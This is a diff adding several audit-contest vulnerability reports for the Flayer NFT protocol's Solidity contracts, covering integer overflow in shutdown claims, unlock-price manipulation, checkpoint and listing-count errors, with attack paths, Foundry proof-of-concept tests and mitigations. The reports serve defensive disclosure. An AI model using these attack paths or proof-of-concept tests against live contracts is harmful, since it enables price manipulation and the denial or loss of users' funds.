+ uint256 user1ClaimableVotes = collectionShutdown.shutdownVoters(address(erc721c), user1);
+ uint256 user1ClaimAmount = (availableToClaim * user1ClaimableVotes) / (uint256(shutdownParams.quorumVotes) * 100 / 50);
+ console.log('Amount of ETH available to claim: ', availableToClaim);
+ console.log('Amount of ETH that User1 can claim: ', user1ClaimAmount);
+ assertLt(availableToClaim, user1ClaimAmount);
+}
+```
+
+Then run `forge test --mt test_unsafeCastingQuorumVotes -vv`, and you will see the following result:
+
+![image](https://github.com/user-attachments/assets/054f3c8d-e40d-4d13-bc1e-bebe79caf8dd)
+
+## Code Snippet
+- [CollectionShutdown::start](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L150) function
+- [CollectionShutdown::execute](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L246-L248) function
+- [CollectionShutdown::claim](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L310) function
+- [CollectionShutdown::voteAndClaim](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L343-L345) function
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Update the data type of the `quorumVotes` field in the `CollectionShutdownParams` struct, and then update the related code accordingly.
+
+```diff
+struct CollectionShutdownParams {
+ uint96 shutdownVotes;
+ address sweeperPool;
+- uint88 quorumVotes;
++ uint96 quorumVotes;
+- bool canExecute;
+ ICollectionToken collectionToken;
++ bool canExecute;
+- uint availableClaim;
++ uint248 availableClaim;
+ uint[] sweeperPoolTokenIds;
+}
+```
\ No newline at end of file
diff --git a/001/565.md b/001/565.md
new file mode 100644
index 0000000..d165712
--- /dev/null
+++ b/001/565.md
@@ -0,0 +1,142 @@
+Sharp Blonde Camel
+
+High
+
+# Listing creator can manipulate the unlock price
+
+### Summary
+
+The [`utilizationRate`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L273) function calculates the utilisation rate for a particular collection. Then, it's used to calculate current compound factor that directly influences the unlock price. The **listing creator** is able to inflate the total supply of collection token, decreasing the utilisation rate and, in the end, decrease the unlock price.
+
+### Root Cause
+
+In [`ProtectedListings.sol#L273`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L273) the utilisation rate is calculated using the current total supply of the collection token supply that can be easily increased by depositing collection tokens to the locker.
+
+
+### Internal pre-conditions
+
+The listing creator has to have collection tokens initially or there should be a liquidity to buy collateral tokens and redeem them using flash loan.
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+If the listing creator does not have collection tokens, they:
+1. Take a flash loan (It will be paid after the whole process is finished).
+2. Buy collateral tokens on the pool.
+3. Redeem collection tokens using collateral token.
+
+Then the listing creator:
+1. Deposits all collection tokens to the locker.
+2. Unlocks the listing with lower price.
+3. Redeems all collection tokens.
+
+If there was a flash loan, they deposit collection tokens, swap back the collateral token and pay the flash loan.
+
+### Impact
+
+Decreasing the unlock price.
+
+### PoC
+
+Run this test as part of `ProtectedListings.t.sol`.
+
+```solidity
+ function test_abuser_CanUnlockProtectedListingForCheaperPrice() public {
+
+ uint _tokenId = 10001;
+ uint96 _tokensTaken = uint96(0.95 ether);
+
+ // Ensure that we don't get a token ID conflict
+ _assumeValidTokenId(_tokenId);
+
+ // Set the amount of tokens taken as variable
+ vm.assume(_tokensTaken >= 0.1 ether);
+ vm.assume(_tokensTaken <= 1 ether - protectedListings.KEEPER_REWARD());
+
+ // Set the owner to one of our test users (Alice)
+ address payable _owner = users[0];
+
+ // Capture the amount of ETH that the user starts with so that we can compute that
+ // they receive a refund of unused `msg.value` when paying tax.
+ uint startBalance = payable(_owner).balance;
+
+ for (uint256 i = _tokenId; i < _tokenId + 10; i++) {
+ // Mint our token to the _owner and approve the {Listings} contract to use it
+ erc721a.mint(_owner, i);
+
+ // Create our listing
+ vm.startPrank(_owner);
+ erc721a.approve(address(protectedListings), i);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(i),
+ listing: IProtectedListings.ProtectedListing({
+ owner: _owner,
+ tokenTaken: _tokensTaken,
+ checkpoint: 0
+ })
+ })
+ });
+
+ // Confirm the remaining collateral against the listing. We can safely cast the
+ // `getListingCollateral` to a uint as we know it will be a positive number in this
+ // test case.
+ uint expectedCollateral = 1 ether - protectedListings.KEEPER_REWARD() - _tokensTaken;
+ assertEq(uint(protectedListings.getProtectedListingHealth(address(erc721a), i)), expectedCollateral);
+
+ // Approve the ERC20 token to be used by the listings contract to cancel the listing
+ locker.collectionToken(address(erc721a)).approve(address(protectedListings), _tokensTaken);
+
+ // Confirm that the user has paid no taxes yet from their ETH balance
+ assertEq(payable(_owner).balance, startBalance, 'Incorrect startBalance');
+
+ // Confirm that the ERC20 is held by the user from creating the listing
+ assertEq(
+ locker.collectionToken(address(erc721a)).balanceOf(_owner),
+ _tokensTaken * (i - _tokenId + 1),
+ 'Incorrect owner collectionToken balance before unlock'
+ );
+ vm.stopPrank();
+
+ }
+
+ vm.warp(block.timestamp + 10000);
+
+ // Give more tokens to user
+
+ for (uint256 i = _tokenId + 10; i < _tokenId + 20; i++) {
+ // Mint our token to the _owner and approve the {Listings} contract to use it
+ erc721a.mint(_owner, i);
+ }
+
+ // Not manipulated price
+ console.log(protectedListings.unlockPrice(address(erc721a), _tokenId));
+
+
+ vm.startPrank(_owner);
+ for (uint256 i = _tokenId + 10; i < _tokenId + 20; i++) {
+ erc721a.approve(address(locker), i);
+ locker.deposit(address(erc721a), _tokenIdToArray(i));
+ }
+ vm.stopPrank();
+
+ // Manipulated price
+ console.log(protectedListings.unlockPrice(address(erc721a), _tokenId));
+
+ vm.startPrank(_owner);
+ locker.collectionToken(address(erc721a)).approve(address(locker), type(uint256).max);
+ for (uint256 i = _tokenId + 10; i < _tokenId + 20; i++) {
+ locker.redeem(address(erc721a), _tokenIdToArray(i));
+ }
+ vm.stopPrank();
+
+ }
+```
+
+### Mitigation
+
+Make sure users cannot inflate the utilization rate instantly. Consider using checkpoints for balances and `totalSupply`, select the values from the block prior to the current block.
\ No newline at end of file
diff --git a/001/566.md b/001/566.md
new file mode 100644
index 0000000..fb8d895
--- /dev/null
+++ b/001/566.md
@@ -0,0 +1,87 @@
+Sharp Blonde Camel
+
+Medium
+
+# Invalid update of checkpointIndex
+
+### Summary
+
+The vulnerability is composed of two issues: incorrect return value in `_createCheckpoint` and insufficient check of `checkpointIndex`. Those result in assigning non-existing checkpoint index to created listings that leads to temporal DoS on those listings and incorrect value of `compoundedFactor`.
+
+
+### Root Cause
+
+In [`ProtectedListings.sol#L136`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L136), when no checkpoints exist the first call to `_createCheckpoint` will return 0 and the comparison will evaluate `True` leading to return index 1 without creating a new checkpoint.
+
+In [`ProtectedListings.sol#L566`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L566), when the current timestamp is the same as the last checkpoint timestamp, the index returned is an index of new checkpoint instead of the last checkpoint.
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+1. When there are no listings for a collection token, the user creates multiple listings.
+2. The first listing gets 0 as the initial checkpoint index.
+3. The next listings get 1 (non-existing) as the initial checkpoint index.
+4. Until new checkpoint is created, some operations (e.g. calculating unlock price or checking health) for a listing revert.
+5. Later, when new checkpoint is created, those operations do not revert but the compound factor is not calculated from checkpoint 0 but from checkpoint 1.
+
+### Impact
+
+1. Temporal DoS on functions that use checkpoint for the created listings.
+2. Invalid initial checkpoint resulting in incorrect values related to compound factors (e.g. unlock price).
+
+### PoC
+
+Run this test as part of `ProtectedListings.t.sol`.
+
+```solidity
+ function test_abuser_InvalidCheckpointUpdate() public {
+
+ uint _tokenId = 10001;
+ uint96 _tokensTaken = uint96(0.95 ether);
+ // Set the owner to one of our test users (Alice)
+ address payable _owner = users[0];
+
+ // Capture the amount of ETH that the user starts with so that we can compute that
+ // they receive a refund of unused `msg.value` when paying tax.
+ uint startBalance = payable(_owner).balance;
+
+ for (uint256 i = _tokenId; i < _tokenId + 2; i++) {
+ // Mint our token to the _owner and approve the {Listings} contract to use it
+ erc721a.mint(_owner, i);
+
+ // Create our listing
+ vm.startPrank(_owner);
+ erc721a.approve(address(protectedListings), i);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(i),
+ listing: IProtectedListings.ProtectedListing({
+ owner: _owner,
+ tokenTaken: _tokensTaken,
+ checkpoint: 0
+ })
+ })
+ });
+ }
+
+ uint expectedCollateral = 1 ether - protectedListings.KEEPER_REWARD() - _tokensTaken;
+
+ // THIS WILL REVERT WHILE IT SHOULD NOT
+ protectedListings.getProtectedListingHealth(address(erc721a), _tokenId+1);
+
+ vm.stopPrank();
+ }
+```
+
+### Mitigation
+
+1. Detect a situation when `checkpointIndex` returned by `_createCheckpoint` is zero and do not call it twice (e.g. change the transient variable type to boolean).
+2. In `_createCheckpoint` function, when the last checkpoint timestamp is the same as current timestamp, return `index_ - 1` instead of `index_`.
\ No newline at end of file
diff --git a/001/569.md b/001/569.md
new file mode 100644
index 0000000..9223cb4
--- /dev/null
+++ b/001/569.md
@@ -0,0 +1,106 @@
+Genuine Slate Sloth
+
+High
+
+# Users can't claim ETH after the collection has been shut down and fully liquidated due to formula for calculating the ETH amount to claim
+
+## Summary
+In the `CollectionShutdown` contract, users cannot claim ETH after the collection has been shut down and fully liquidated due to formula for calculating the ETH amount to claim.
+
+## Vulnerability Detail
+In the `CollectionShutdown::claim` and `CollectionShutdown::voteAndClaim` functions, the formula for calculating the ETH amount that each user can claim is: `params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT)`. Since the data type of `params.quorumVotes` is `uint88`, the expression `params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT` = `params.quorumVotes * 2` can overflow if `params.quorumVotes` >= 2^87. To satisfy this condition, the total supply of `CollectionToken` only need to be greater than `2 ether * 10^9`. As a result, the `CollectionShutdown::claim` and `CollectionShutdown::voteAndClaim` functions would revert due to overflow.
+
+[CollectionShutdown::claim](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L310) function:
+
+```Solidity
+function claim(address _collection, address payable _claimant) public nonReentrant whenNotPaused {
+ ...
+=> uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+ (bool sent,) = _claimant.call{value: amount}('');
+ if (!sent) revert FailedToClaim();
+ ...
+}
+```
+
+## Impact
+Users can't claim ETH after the collection has been shut down and fully liquidated.
+
+## Proof of Concept
+Copy this test case into the `CollectionShutdown.t.sol` file:
+
+```Solidity
+function test_overflowQuorumVotes() external {
+ locker.createCollection(address(erc721c), 'Test Collection', 'TEST', 9);
+ locker.setInitialized(address(erc721c), true);
+
+ ICollectionToken collectionErc20Token = locker.collectionToken(address(erc721c));
+ uint256 erc20Denomination = collectionErc20Token.denomination();
+
+ // Mint erc20 token for users
+ address user1 = makeAddr('user1');
+ address user2 = makeAddr('user2');
+ uint256 mintAmount = 1 ether * 10 ** erc20Denomination;
+ vm.startPrank(address(locker));
+ collectionErc20Token.mint(user1, mintAmount);
+ collectionErc20Token.mint(user2, mintAmount);
+ vm.stopPrank();
+
+ uint256 totalSupply = collectionErc20Token.totalSupply();
+ assertEq(totalSupply, 2 ether * 10** erc20Denomination);
+
+ // Initiate the process to shut down the collection
+ vm.startPrank(user1);
+ collectionErc20Token.approve(address(collectionShutdown), mintAmount);
+ collectionShutdown.start(address(erc721c));
+ vm.stopPrank();
+
+ // Check shutdown params
+ ICollectionShutdown.CollectionShutdownParams memory shutdownParams = collectionShutdown.collectionParams(address(erc721c));
+ console.log('Total supply: ', totalSupply);
+ console.log('Actual quorumVotes: ', shutdownParams.quorumVotes);
+
+ // More importantly, it will prevent users from claiming ETH after the collection has been shut down and fully liquidated
+ uint256 availableToClaim = 5 ether;
+ // Formula for calculating the ETH amount to claim: availableClaim * claimableVotes / (quorumVotes * 100 / 50)
+ uint256 user1ClaimableVotes = collectionShutdown.shutdownVoters(address(erc721c), user1);
+ uint256 user1ClaimAmount = (availableToClaim * user1ClaimableVotes) / (shutdownParams.quorumVotes * 100 / 50);
+ console.log('Amount of ETH available to claim: ', availableToClaim);
+ console.log('Amount of ETH that User1 can claim: ', user1ClaimAmount);
+ assertLt(availableToClaim, user1ClaimAmount);
+}
+```
+
+Then run `forge test --mt test_overflowQuorumVotes -vv`, and you will see the following result:
+
+![image](https://github.com/user-attachments/assets/10b5a3d6-31fb-4ee2-8ffe-2eee05dbf571)
+
+## Code Snippet
+- [CollectionShutdown::claim](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L310) function
+- [CollectionShutdown::voteAndClaim](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L343-L345) function
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Update the formula:
+
+```diff
+function claim(address _collection, address payable _claimant) public nonReentrant whenNotPaused {
+ ...
+- uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
++ uint amount = params.availableClaim * claimableVotes / (uint256(params.quorumVotes) * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+ (bool sent,) = _claimant.call{value: amount}('');
+ if (!sent) revert FailedToClaim();
+ ...
+}
+
+function voteAndclaim(address _collection, address payable _claimant) public whenNotPaused {
+ ...
+- uint amount = params.availableClaim * userVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
++ uint amount = params.availableClaim * userVotes / (uint256(params.quorumVotes) * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+ (bool sent,) = _claimant.call{value: amount}('');
+ if (!sent) revert FailedToClaim();
+ ...
+}
+```
\ No newline at end of file
diff --git a/001/574.md b/001/574.md
new file mode 100644
index 0000000..0b47380
--- /dev/null
+++ b/001/574.md
@@ -0,0 +1,43 @@
+Witty Burlap Capybara
+
+Medium
+
+# When relisting a floor item listing, listingCount is not increased, causing listingCount can be underflowed.
+
+### Summary
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672
+The `relist` function is used to refill the parameters of any token listings, including floor item listing. For a loor item listing, users can change its owner from address(0) to their own address without paying any fees, and set its type to DUTCH or LIQUID. However, this operation does not change `listingCount`. So, when all the listing is filled, the `listingCount` will be underflowed to a large num(close to uint256.max) instead of 0. Later, in the function `CollectionShutdown.sol#execute`, it will be reverted as `listings.listingCount(_collection) != 0`.
+
+### Root Cause
+
+In `Listings.sol#relist`, when relist for a floor item listing, listingCount is not incresed, causing listingCount can be underflowed.
+
+### Internal pre-conditions
+
+1. The `_collection` is initialized.
+2. There are floor item listings in the `_collection`.
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. The attacker call `relist` for a floor item listing.
+2. The attacker immediately calls cancelListings to cancel it, in order to refund the tax. At the same time, listingCount is decreased. As a result, the listingCount cannot correctly reflect the number of listings contained in _collection.
+
+### Impact
+
+listingCount cannot correctly reflect the number of listings contained in _collection.
+`CollectionShutdown.sol#execute` will be DOSed.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Avoid relisting floor item listings
+OR
+Increase listingCount by one.
\ No newline at end of file
diff --git a/001/582.md b/001/582.md
new file mode 100644
index 0000000..cb15053
--- /dev/null
+++ b/001/582.md
@@ -0,0 +1,117 @@
+Uneven Burlap Dalmatian
+
+Medium
+
+# ```CollectionShutdown::execute()``` calculates the ```newQuorum``` before burning ```Locker```'s collection tokens leading to unfair ETH distribution and lost funds forever.
+
+### Summary
+
+During the execution of a collection's shutdown on ```CollectionShutdown``` contract, the ```execute()``` calculates the ```newQuorum``` taking into consideration the ```collectionToken```s of the ```Locker``` but then burn them leading to lost funds for ever since a portion of ETH accumulated from the liquidation will never be collected.
+
+### Root Cause
+
+In ```CollectionShutdown::execute()``` the order of the calculations and calls inside the function results to loss of funds. The root cause is that :
+
+1) Firstly, the ```quorum```(how the total amount of ```ETH``` that will be collected from the liquidation) is calculated **with** the ```CollectionToken``` of the ```Locker``` contract.
+2) Instantly after this and during the ```Locker::sunsetCollection()```, the ```CollectionToken``` that the contract holds are burned from the total supply.
+
+However, the equivalent ```ETH``` will be waited to be collected when the liquidation completes but the tokens are burned so the other LPs will take a cut for an amount that will be never collected.
+
+We can see the code here :
+```solidity
+ function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+ // ...
+
+ // Refresh total supply here to ensure that any assets that were added during
+ // the shutdown process can also claim their share.
+@> uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
+ if (params.quorumVotes != newQuorum) {
+ params.quorumVotes = uint88(newQuorum);
+ }
+
+ // Lockdown the collection to prevent any new interaction
+@> locker.sunsetCollection(_collection);
+
+ // ...
+ }
+```
+[Link to code](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L231C1-L275C6)
+
+And we, also, see the ```Locker::sunsetCollection()``` which burns the corresponding ```CollectionToken```s :
+```solidity
+ function sunsetCollection(address _collection) public collectionExists(_collection) {
+ // Ensure that only our {CollectionShutdown} contract can call this
+ if (msg.sender != address(collectionShutdown)) revert InvalidCaller();
+
+ // cache
+ ICollectionToken collectionToken_ = _collectionToken[_collection];
+
+ // Burn our held tokens to remove any contract bloat
+@> collectionToken_.burn(collectionToken_.balanceOf(address(this)));
+
+ // Notify our stalkers that the collection has been sunset
+ emit CollectionSunset(_collection, address(collectionToken_), msg.sender);
+
+ // Delete our underlying token, then no deposits or actions can be made
+ delete _collectionToken[_collection];
+
+ // Remove our `collectionInitialized` flag
+ delete collectionInitialized[_collection];
+ }
+```
+[Link to code](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L409C1-L427C6)
+
+### Internal pre-conditions
+
+1. A collection is about to be shut down by admin calling ```CollectionShutdown::execute()```.
+2. Some ```collectionTokens``` to be in ```Locker``` contract.
+
+### External pre-conditions
+
+No external pre-conditions.
+
+### Attack Path
+
+1. Collection's shut down gets started from ```CollectionShutdown::start()``` due to low liquidity of collection tokens.
+2. Collection's shut down gets executed from ```CollectionShutdown::execute()``` because the old ```quorum``` was reached.
+3. During the ```execution```, a new ```quorum``` is calculated with the ```totalSupply``` of ```CollectionToken``` so all holders to be able to get their portion of the ```ETH``` collected from the liquidation.
+4. After it's calculation and, still, during the ```execution``` the ```CollectionToken``` of the ```Locker``` contract are burned. However, they have been taken into consideration in the new ```quorum``` which was just before calculated with them inside.
+5. Now, this portion of ```ETH``` from the ```CollectionToken```s that got burned will never be collected.
+
+### Impact
+
+The impact of this vulnerability is that the ```ETH``` accumulated from the liquidation of the collection are distributed **unfairly**, since ```LP```s suffer a cut on their portion without being able to collect an amount of ```ETH``` that would be never be taken since the equivalent ```CollectionToken```s have been burned from the ```Locker```. Furthermore, and more seriously, there is **loss of funds** since this amount of ```ETH``` belongs to the ```Flayer``` but, instead, it will remain on the ```SudoPool``` uncollected.
+
+### PoC
+
+No PoC needed.
+
+### Mitigation
+
+To mitigate this issue and guarantee a fair ```ETH``` distribution, you have to make this change on the calls' order :
+```diff
+ function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+ // ...
+
+- // Refresh total supply here to ensure that any assets that were added during
+- // the shutdown process can also claim their share.
+- uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
+- if (params.quorumVotes != newQuorum) {
+- params.quorumVotes = uint88(newQuorum);
+- }
+
+- // Lockdown the collection to prevent any new interaction
+- locker.sunsetCollection(_collection);
+
++ // Lockdown the collection to prevent any new interaction
++ locker.sunsetCollection(_collection);
+
++ // Refresh total supply here to ensure that any assets that were added during
++ // the shutdown process can also claim their share.
++ uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
++ if (params.quorumVotes != newQuorum) {
++ params.quorumVotes = uint88(newQuorum);
++ }
+ // ...
+ }
+```
\ No newline at end of file
diff --git a/001/587.md b/001/587.md
new file mode 100644
index 0000000..edc8937
--- /dev/null
+++ b/001/587.md
@@ -0,0 +1,27 @@
+Perfect Mint Worm
+
+High
+
+# Wrong Calculation in the voteAndClaim Function Leading to Inaccurate ETH Distribution
+
+## Summary
+The `voteAndClaim` function in the `CollectionShutdown` contract calculates the claimable **ETH** reward using a stale `quorumVotes` value, which does not account for changes in the total supply of ERC-20 tokens after the `execute` function. This can lead to inaccurate distribution of ETH.
+## Vulnerability Detail
+The `voteAndClaim` function uses `params.quorumVotes` to determine the proportion of ETH a user can claim.
+```solidity
+ uint amount =
+ params.availableClaim * userVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT /
+ SHUTDOWN_QUORUM_PERCENT);
+ (bool sent,) = payable(msg.sender).call{value: amount}('');
+```
+This value is based on the total supply at the time the `quorum` was reached and does not update if the total supply changes due to additional deposits. if a user increases their **ERC-20** balance by depositing more NFTs using the function `deposit` in `locker.sol` contract before calling voteAndClaim, their balance is not accurately reflected in the reward calculation. This discrepancy arises because the function calculates the user's share based on the old `quorumVotes`, leading to a mismatch between the user's actual token holdings and the proportion of the total supply used for the calculation
+## Impact
+Users can manipulate their token holdings to receive more ETH than they are entitled to, leading to unfair distribution of ETH. This can result in Some users ending up getting too much, while others don’t get enough.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L323-L348
+## Tool used
+
+Manual Review
+
+## Recommendation
+Update the calculation in the `voteAndClaim` function to use the current total supply of ERC-20 tokens at the time of claiming. This will ensure that the distribution of ETH rewards accurately reflects each user's proportion of the total supply
\ No newline at end of file
diff --git a/001/588.md b/001/588.md
new file mode 100644
index 0000000..f383c63
--- /dev/null
+++ b/001/588.md
@@ -0,0 +1,78 @@
+Witty Burlap Capybara
+
+Medium
+
+# The function `reserve` does not perform `createCheckpoint`, resulting in compoundedFactor being unable to correctly reflect the actual situation.
+
+### Summary
+
+In the design of the contract, when the utilization changes, a checkpoint needs to be created to reflect the change. Also mentioned in the comments:
+
+> Create our checkpoint as utilisation rates will change
+
+In the reserve function, since the `totalSupply` of `collectionToken` will change, the utilizationRate will also change.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L730
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L755
+
+```solidity
+ // Burn the tokens that the user provided as collateral, as we will have it minted
+ // from {ProtectedListings}.
+ collectionToken.burnFrom(msg.sender, _collateral * 10 ** collectionToken.denomination());
+
+ // We should now have received the non-collateral assets, which we will burn in
+ // addition to the amount that the user sent us.
+ collectionToken.burn((1 ether - _collateral) * 10 ** collectionToken.denomination());
+```
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L261-L276
+
+```solidity
+ function utilizationRate(address _collection) public view virtual returns (uint listingsOfType_, uint utilizationRate_) {
+ // Get the count of active listings of the specified listing type
+ listingsOfType_ = listingCount[_collection];
+
+ // If we have listings of this type then we need to calculate the percentage, otherwise
+ // we will just return a zero percent value.
+ if (listingsOfType_ != 0) {
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If we have no totalSupply, then we have a zero percent utilization
+ uint totalSupply = collectionToken.totalSupply();
+ if (totalSupply != 0) {
+ utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+ }
+ }
+ }
+```
+
+However, the reserve function does not perform the createCheckpoint operation.
+
+### Root Cause
+
+In `Listings.sol#reserve`, it does not perform `createCheckpoint`.
+
+### Internal pre-conditions
+
+1. There are some listings in the _collection.
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. The user calls `reserve`
+
+### Impact
+
+The `compoundedFactor` will be a wrong value.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add createCheckpoint in the function `reserve`.
\ No newline at end of file
diff --git a/001/599.md b/001/599.md
new file mode 100644
index 0000000..89d6d7b
--- /dev/null
+++ b/001/599.md
@@ -0,0 +1,113 @@
+Genuine Slate Sloth
+
+High
+
+# Broken Logic in CollectionShutdown::execute Function Leading to Multiple Vulnerabilities
+
+## Summary
+Several functions in the `CollectionShutdown` contract are broken due to missing logic in the `CollectionShutdown::execute` function.
+
+## Vulnerability Detail
+In the `CollectionShutdown::execute` function, the `shutdownVotes` and `quorumVotes` fields of the `_collectionParams[_collection]` state variable are not reset. This leads to several issues, which are listed in the `Impact` section. More details can be found in the `Proof of Concept` section.
+
+[CollectionShutdown::execute](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231-L275) function:
+```Solidity
+function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+ ...
+ // Set the token IDs that have been sent to our sweeper pool
+ params.sweeperPoolTokenIds = _tokenIds;
+ // note Have case that two pools point to the same collection
+ sweeperPoolCollection[pool] = _collection;
+
+ // Update our collection parameters with the pool
+ params.sweeperPool = pool;
+
+ // Prevent the collection from being executed again
+ params.canExecute = false;
+ emit CollectionShutdownExecuted(_collection, pool, _tokenIds);
+}
+```
+
+## Impact
+- Users can call the `CollectionShutdown::cancel` function even after the `CollectionShutdown::execute` function has been executed. As a result, users are unable to claim both ERC20 tokens and ETH after the collection has been fully liquidated.
+- Users can still vote even after the collection has been shut down.
+- Each collection can initiate the shutdown process only once, although the collection can be created multiple times.
+
+## Proof of Concept
+Copy this test case into the file `CollectionShutdown.t.sol` and run the command `forge test --mt test_cancelAfterExecute -vv` to see the results.
+
+```Solidity
+function test_cancelAfterExecute() external {
+ // Create collection
+ uint256 DENOMINATION = 6;
+ locker.createCollection(address(erc721c), 'Test Collection', 'TEST', DENOMINATION);
+ locker.setInitialized(address(erc721c), true);
+ ICollectionToken collectionErc20Token = locker.collectionToken(address(erc721c));
+
+ // Mint NFT for users
+ address user1 = makeAddr('user1');
+ address user2 = makeAddr('user2');
+ erc721c.mint(user1, 1);
+ erc721c.mint(user2, 2);
+
+ // Deposit token
+ uint256[] memory tokenIds = new uint256[](1);
+ vm.startPrank(user1);
+ tokenIds[0] = 1;
+ erc721c.setApprovalForAll(address(locker), true);
+ locker.deposit(address(erc721c), tokenIds);
+ vm.stopPrank();
+
+ vm.startPrank(user2);
+ tokenIds[0] = 2;
+ erc721c.setApprovalForAll(address(locker), true);
+ locker.deposit(address(erc721c), tokenIds);
+ vm.stopPrank();
+
+ // Check total supply
+ uint256 totalSupply = collectionErc20Token.totalSupply();
+ assertEq(totalSupply, 2 ether * 10** DENOMINATION);
+
+ // Initiate the process to shut down the collection
+ vm.startPrank(user1);
+ collectionErc20Token.approve(address(collectionShutdown), type(uint256).max);
+ collectionShutdown.start(address(erc721c));
+ vm.stopPrank();
+
+ // Check shutdown params
+ ICollectionShutdown.CollectionShutdownParams memory shutdownParams = collectionShutdown.collectionParams(address(erc721c));
+ console.log('Shutdown Votes: ', shutdownParams.shutdownVotes);
+ console.log('Quorum Votes: ', shutdownParams.quorumVotes);
+ assertEq(shutdownParams.canExecute, true);
+ // Shutdown the collection
+ collectionShutdown.execute(address(erc721c), tokenIds);
+ assertEq(collectionShutdown.collectionParams(address(erc721c)).canExecute, false);
+
+ // User2 can still vote to shut down the collection; therefore, change shutdownParams.canExecute to true
+ vm.startPrank(user2);
+ collectionErc20Token.approve(address(collectionShutdown), type(uint256).max);
+ collectionShutdown.vote(address(erc721c));
+ vm.stopPrank();
+ assertEq(collectionShutdown.collectionParams(address(erc721c)).canExecute, true);
+
+ // Create collection once again with little than denomination
+ locker.createCollection(address(erc721c), 'Test Collection', 'TEST', 0);
+
+ // User can call cancel function
+ vm.startPrank(user2);
+ collectionShutdown.cancel(address(erc721c));
+ vm.stopPrank();
+ assertEq(collectionShutdown.collectionParams(address(erc721c)).canExecute, false);
+}
+```
+
+## Code Snippet
+- [CollectionShutdown::execute](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231-L275) function
+- [CollectionShutdown::vote](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L175-L181) function
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Carefully consider how to address this issue. If you reset the values of both `shutdownVotes` and `quorumVotes` in the `CollectionShutdown::execute` function, users will be able to initiate the collection shutdown process multiple times for the same collection, as the `Locker::createCollection` function can be called after the collection is shut down. As a result, fields in the `_collectionParams[_collection]` state variable will be overwritten. If you reset only the `quorumVotes` field, each collection can initiate the shutdown process only once, even though it can be created multiple times.
